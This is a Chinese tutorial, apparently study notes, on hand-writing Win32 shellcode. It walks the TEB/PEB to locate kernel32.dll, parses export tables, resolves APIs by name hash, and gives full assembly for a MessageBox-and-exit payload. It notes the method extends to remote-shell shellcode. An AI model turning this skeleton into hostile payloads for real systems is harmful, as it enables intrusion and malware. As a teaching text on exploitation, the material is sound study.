所有 win_32 程序都會加載 ntdll.dll 和 kernel32.dll 這兩個最基礎的動態鏈接庫。如果想要
在 win_32 平台下定位 kernel32.dll 中的 API 地址,可以采用如下方法。
-
首先通過段選擇字 FS 在內存中找到當前的線程環境塊 TEB。
-
線程環境塊偏移位置為 0x30 的地方存放着指向進程環境塊 PEB 的指針。
-
進程環境塊中偏移位置為 0x0C 的地方存放着指向 PEB_LDR_DATA 結構體的指針,
其中,存放着已經被進程裝載的動態鏈接庫的信息。 -
PEB_LDR_DATA 結構體偏移位置為 0x1C 的地方存放着指向模塊初始化鏈表的頭指
針 InInitializationOrderModuleList。 -
模塊初始化鏈表 InInitializationOrderModuleList 中按順序存放着 PE 裝入運行時初始化
模塊的信息,第一個鏈表結點是 ntdll.dll,第二個鏈表結點就是 kernel32.dll。 -
找到屬於 kernel32.dll 的結點后,在其基礎上再偏移 0x08 就是 kernel32.dll 在內存中的
加載基地址。 -
從 kernel32.dll 的加載基址算起,偏移 0x3C 的地方就是其 PE 頭。
-
PE 頭偏移 0x78 的地方存放着指向函數導出表的指針。
-
至此,我們可以按如下方式在函數導出表中算出所需函數的入口地址
fs是什么?TEB是什么?
- fs是一個寄存器,只不過不可見
- 在NT內核系統中fs寄存器指向TEB結構
- TEB+0x30處指向PEB結構
TEB結構如下:
//
// Thread Environment Block (TEB)
//
typedef struct _TEB
{
NT_TIB Tib; /* 00h */
PVOID EnvironmentPointer; /* 1Ch */
CLIENT_ID Cid; /* 20h */
PVOID ActiveRpcHandle; /* 28h */
PVOID ThreadLocalStoragePointer; /* 2Ch */
struct _PEB *ProcessEnvironmentBlock; /* 30h */
ULONG LastErrorValue; /* 34h */
ULONG CountOfOwnedCriticalSections; /* 38h */
PVOID CsrClientThread; /* 3Ch */
struct _W32THREAD* Win32ThreadInfo; /* 40h */
ULONG User32Reserved[0x1A]; /* 44h */
ULONG UserReserved[5]; /* ACh */
PVOID WOW32Reserved; /* C0h */
LCID CurrentLocale; /* C4h */
ULONG FpSoftwareStatusRegister; /* C8h */
PVOID SystemReserved1[0x36]; /* CCh */
LONG ExceptionCode; /* 1A4h */
struct _ACTIVATION_CONTEXT_STACK *ActivationContextStackPointer; /* 1A8h */
UCHAR SpareBytes1[0x28]; /* 1ACh */
GDI_TEB_BATCH GdiTebBatch; /* 1D4h */
CLIENT_ID RealClientId; /* 6B4h */
PVOID GdiCachedProcessHandle; /* 6BCh */
ULONG GdiClientPID; /* 6C0h */
ULONG GdiClientTID; /* 6C4h */
PVOID GdiThreadLocalInfo; /* 6C8h */
ULONG Win32ClientInfo[62]; /* 6CCh */
PVOID glDispatchTable[0xE9]; /* 7C4h */
ULONG glReserved1[0x1D]; /* B68h */
PVOID glReserved2; /* BDCh */
PVOID glSectionInfo; /* BE0h */
PVOID glSection; /* BE4h */
PVOID glTable; /* BE8h */
PVOID glCurrentRC; /* BECh */
PVOID glContext; /* BF0h */
NTSTATUS LastStatusValue; /* BF4h */
UNICODE_STRING StaticUnicodeString; /* BF8h */
WCHAR StaticUnicodeBuffer[0x105]; /* C00h */
PVOID DeallocationStack; /* E0Ch */
PVOID TlsSlots[0x40]; /* E10h */
LIST_ENTRY TlsLinks; /* F10h */
PVOID Vdm; /* F18h */
PVOID ReservedForNtRpc; /* F1Ch */
PVOID DbgSsReserved[0x2]; /* F20h */
ULONG HardErrorDisabled; /* F28h */
PVOID Instrumentation[14]; /* F2Ch */
PVOID SubProcessTag; /* F64h */
PVOID EtwTraceData; /* F68h */
PVOID WinSockData; /* F6Ch */
ULONG GdiBatchCount; /* F70h */
BOOLEAN InDbgPrint; /* F74h */
BOOLEAN FreeStackOnTermination; /* F75h */
BOOLEAN HasFiberData; /* F76h */
UCHAR IdealProcessor; /* F77h */
ULONG GuaranteedStackBytes; /* F78h */
PVOID ReservedForPerf; /* F7Ch */
PVOID ReservedForOle; /* F80h */
ULONG WaitingOnLoaderLock; /* F84h */
ULONG SparePointer1; /* F88h */
ULONG SoftPatchPtr1; /* F8Ch */
ULONG SoftPatchPtr2; /* F90h */
PVOID *TlsExpansionSlots; /* F94h */
ULONG ImpersionationLocale; /* F98h */
ULONG IsImpersonating; /* F9Ch */
PVOID NlsCache; /* FA0h */
PVOID pShimData; /* FA4h */
ULONG HeapVirualAffinity; /* FA8h */
PVOID CurrentTransactionHandle; /* FACh */
PTEB_ACTIVE_FRAME ActiveFrame; /* FB0h */
PVOID FlsData; /* FB4h */
UCHAR SafeThunkCall; /* FB8h */
UCHAR BooleanSpare[3]; /* FB9h */
} TEB, *PTEB;
PEB結構
typedef struct _PEB
{
UCHAR InheritedAddressSpace; // 00h
UCHAR ReadImageFileExecOptions; // 01h
UCHAR BeingDebugged; // 02h
UCHAR Spare; // 03h
PVOID Mutant; // 04h
PVOID ImageBaseAddress; // 08h
PPEB_LDR_DATA Ldr; // 0Ch
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10h
PVOID SubSystemData; // 14h
PVOID ProcessHeap; // 18h
PVOID FastPebLock; // 1Ch
PPEBLOCKROUTINE FastPebLockRoutine; // 20h
PPEBLOCKROUTINE FastPebUnlockRoutine; // 24h
ULONG EnvironmentUpdateCount; // 28h
PVOID* KernelCallbackTable; // 2Ch
PVOID EventLogSection; // 30h
PVOID EventLog; // 34h
PPEB_FREE_BLOCK FreeList; // 38h
ULONG TlsExpansionCounter; // 3Ch
PVOID TlsBitmap; // 40h
ULONG TlsBitmapBits[0x2]; // 44h
PVOID ReadOnlySharedMemoryBase; // 4Ch
PVOID ReadOnlySharedMemoryHeap; // 50h
PVOID* ReadOnlyStaticServerData; // 54h
PVOID AnsiCodePageData; // 58h
PVOID OemCodePageData; // 5Ch
PVOID UnicodeCaseTableData; // 60h
ULONG NumberOfProcessors; // 64h
ULONG NtGlobalFlag; // 68h
UCHAR Spare2[0x4]; // 6Ch
LARGE_INTEGER CriticalSectionTimeout; // 70h
ULONG HeapSegmentReserve; // 78h
ULONG HeapSegmentCommit; // 7Ch
ULONG HeapDeCommitTotalFreeThreshold; // 80h
ULONG HeapDeCommitFreeBlockThreshold; // 84h
ULONG NumberOfHeaps; // 88h
ULONG MaximumNumberOfHeaps; // 8Ch
PVOID** ProcessHeaps; // 90h
PVOID GdiSharedHandleTable; // 94h
PVOID ProcessStarterHelper; // 98h
PVOID GdiDCAttributeList; // 9Ch
PVOID LoaderLock; // A0h
ULONG OSMajorVersion; // A4h
ULONG OSMinorVersion; // A8h
ULONG OSBuildNumber; // ACh
ULONG OSPlatformId; // B0h
ULONG ImageSubSystem; // B4h
ULONG ImageSubSystemMajorVersion; // B8h
ULONG ImageSubSystemMinorVersion; // C0h
ULONG GdiHandleBuffer[0x22]; // C4h
PVOID ProcessWindowStation; // ???
} PEB, *PPEB;
PEB_LDR_DATA結構
typedef struct _PEB_LDR_DATA
{
ULONG Length; // +0x00
BOOLEAN Initialized; // +0x04
PVOID SsHandle; // +0x08
LIST_ENTRY InLoadOrderModuleList; // +0x0c
LIST_ENTRY InMemoryOrderModuleList; // +0x14
LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
LIST_ENTRY結構
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
-
導出表偏移 0x1C 處的指針指向存儲導出函數偏移地址(RVA)的列表。
-
導出表偏移 0x20 處的指針指向存儲導出函數函數名的列表。
-
函數的 RVA 地址和名字按照順序存放在上述兩個列表中,我們可以在名稱列表中定位
到所需的函數是第幾個,然后在地址列表中找到對應的 RVA。 -
獲得 RVA 后,再加上前邊已經得到的動態鏈接庫的加載基址,就獲得了所需 API 此刻
在內存中的虛擬地址,這個地址就是我們最終在 shellcode 中調用時需要的地址。
按照上面的方法,我們已經可以獲得 kernel32.dll 中的任意函數。類似地,我們已經具備了
定位 ws2_32.dll 中的 winsock 函數來編寫一個能夠獲得遠程 shell 的真正的 shellcode 了。
其實,在摸透了 kernel32.dll 中的所有導出函數之后,結合使用其中的兩個函數 LoadLibrary()
和 GetProcAddress(),有時可以讓定位所需其他 API 的工作變得更加容易。
int main()
{
_asm
{
mov eax, fs:[0x30] ;PEB的地址
mov eax, [eax + 0x0c] ;Ldr的地址
mov esi, [eax + 0x1c] ;Flink地址
lodsd
mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址
}
return 0;
}
一個彈出對話框,然后退出程序的shellcode
- MessageBoxA 位於 user32.dll 中,用於彈出消息框。
- ExitProcess 位於 kernel32.dll 中,用於正常退出程序。
- LoadLibraryA 位於 kernel32.dll 中。並不是所有的程序都會裝載 user32.dll,所以在我們調用MessageBoxA 之前,應該先使用 LoadLibrary(“user32.dll” )裝載其所屬的動態鏈接庫
為了讓 shellcode 更加通用,能被大多數緩沖區容納,我們總是希望 shellcode 盡可能短。因此,,一般情況下並不會“MessageBoxA”這么長的字符串去進行直接比較。所以會對所需的API函數 名進行hash運算,這樣只要比較 hash 所得的摘要就能判定是不是我們所需的API了
本次使用的hash算法
#include <stdio.h>
DWORD GetHash(char *fun_name)
{
DWORD digest=0;
while(*fun_name)
{
digest=((digest<<25)|(digest>>7)); //循環右移7位
/*
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
--> ror edx,7 ;這一行我看了倆小時,最后才意識到是((循環))右移,不是單純的 >>7
add edx,eax
inc esi
jmp hash_loop
這是我第一次知道匯編也有比C語言方便的時候
*/
digest+= *fun_name ; //累加
fun_name++;
}
return digest;
}
main()
{
DWORD hash;
hash= GetHash("AddAtomA");
printf("%#x\n",hash);
}
當 shellcode 是利用異常處理機制而植入的時候,往往會產生標志位的變化,使 shellcode 中的字串處理方向發生變化而產生錯誤(如指令 LODSD)。為了增加 shellcode的通用性,在push之前應當先用 CLD 將 DF 位清零
CLD ;清空標志位DF
push 0x1E380A6A ;壓入MessageBoxA的hash-->user32.dll
push 0x4FD18963 ;壓入ExitProcess的hash-->kernel32.dll
push 0x0C917432 ;壓入LoadLibraryA的hash-->kernel32.dll
mov esi,esp ;esi=esp,指向堆棧中存放LoadLibraryA的地址
lea edi,[esi-0xc] ;函數地址的開始
抬高棧頂,保護 shellcode 不被入棧數據破壞。
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
定位kernel32.dll的基地址
mov ebx,fs:[edx+0x30] ;PEB
mov ecx,[ebx+0xC] ;PEB_LDR_DATA
mov ecx,[ecx+0x1C] ;InInitializationOrderModuleList
mov ecx,[ecx] ;進入鏈表第一個就是ntdll.dll
mov ebp,[ecx+0x8] ;ebp= kernel32.dll的基地址
下面找函數表的地址
mov eax,[ebp+0x3C] //dll的PE頭 ebp是pe文件的開頭位置(MZ)
mov ecx,[ebp+eax+0x78] //導出表的指針
add ecx,ebp //ecx=0x78C00000+0x262c
mov ebx,[ecx+0x20] //導出函數名列表指針
add ebx,ebp //導出函數名列表指基地址
導出表的結構
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; //PE文件的模塊名
DWORD Base; //模塊基地址
DWORD NumberOfFunctions; //總的導出函數的個數
DWORD NumberOfNames; //有名稱的函數的個數(這一行我真不想寫,沒用,還可能會誤導初學者),有的導出函數沒有名字的只有序號
DWORD AddressOfFunctions; //導出地址表
DWORD AddressOfNames; //函數名表
DWORD AddressOfNameOrdinals; //函數序號,並不一定是連續的,但一般和導出地址表是一一對應的
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
在導出表中搜索AIP的邏輯可以設計如圖
具體代碼如下
#include <stdio.h>
#include <windows.h>
int main()
{
__asm
{
CLD //清空標志位DF
push 0x1E380A6A //壓入MessageBoxA的hash-->user32.dll
push 0x4FD18963 //壓入ExitProcess的hash-->kernel32.dll
push 0x0C917432 //壓入LoadLibraryA的hash-->kernel32.dll
mov esi,esp //esi=esp,指向堆棧中存放LoadLibraryA的地址
lea edi,[esi-0xc] //空出8字節應該是為了兼容性
//======開辟一些棧空間
xor ebx,ebx
mov bh,0x04
sub esp,ebx //esp-=0x400
//======壓入"user32.dll"
mov bx,0x3233
push ebx //"\0 32"
push 0x72657375 //"user"
push esp
xor edx,edx //edx=0
//======找kernel32.dll的基地址
mov ebx,fs:[edx+0x30] //[TEB+0x30]-->PEB
mov ecx,[ebx+0xC] //[PEB+0xC]--->PEB_LDR_DATA
mov ecx,[ecx+0x1C] //[PEB_LDR_DATA+0x1C]--->InInitializationOrderModuleList
mov ecx,[ecx] //進入鏈表第一個就是ntdll.dll
mov ebp,[ecx+0x8] //ebp= kernel32.dll的基地址
//======是否找到了自己所需全部的函數
find_lib_functions:
lodsd //eax=[esi],esi+=4
cmp eax,0x1E380A6A //與MessageBoxA的hash比較
jne find_functions
xchg eax,ebp //-------------------------------------------------> |
call [edi-0x8] //LoadLibraryA("user32") |
xchg eax,ebp //ebp=userl32.dll的基地址,eax=MessageBoxA的hash <-- |
//======導出函數名列表指針
find_functions:
pushad //保護寄存器
mov eax,[ebp+0x3C] //dll的PE頭
mov ecx,[ebp+eax+0x78] //導出表的指針
add ecx,ebp //ecx=導出表的基地址
mov ebx,[ecx+0x20] //導出函數名列表指針
add ebx,ebp //ebx=導出函數名列表指針的基地址
xor edi,edi
//======找下一個函數名
next_function_loop:
inc edi
mov esi,[ebx+edi*4] //從列表數組中讀取
add esi,ebp //esi = 函數名稱所在地址
cdq //edx = 0
//======函數名的hash運算
hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah //字符串結尾就跳出當前函數
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
//======比較找到的當前函數的hash是否是自己想找的
compare_hash:
cmp edx,[esp+0x1C] //lods pushad后,棧+1c為LoadLibraryA的hash
jnz next_function_loop
mov ebx,[ecx+0x24] //ebx = 順序表的相對偏移量
add ebx,ebp //順序表的基地址
mov di,[ebx+2*edi] //匹配函數的序號
mov ebx,[ecx+0x1C] //地址表的相對偏移量
add ebx,ebp //地址表的基地址
add ebp,[ebx+4*edi] //函數的基地址
xchg eax,ebp //eax<==>ebp 交換
pop edi
stosd //把找到的函數保存到edi的位置
push edi
popad
cmp eax,0x1e380a6a //messagebox的hash
jne find_lib_functions
//======讓他做些自己想做的事
function_call:
xor ebx,ebx
push ebx
push 0x74736577
push 0x6c696166 //push "failwest"
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04] //MessageBoxA(NULL,"failwest","failwest",NULL)
push ebx
call [edi-0x08] //ExitProcess(0);
nop
nop
nop
nop
}
return 0;
}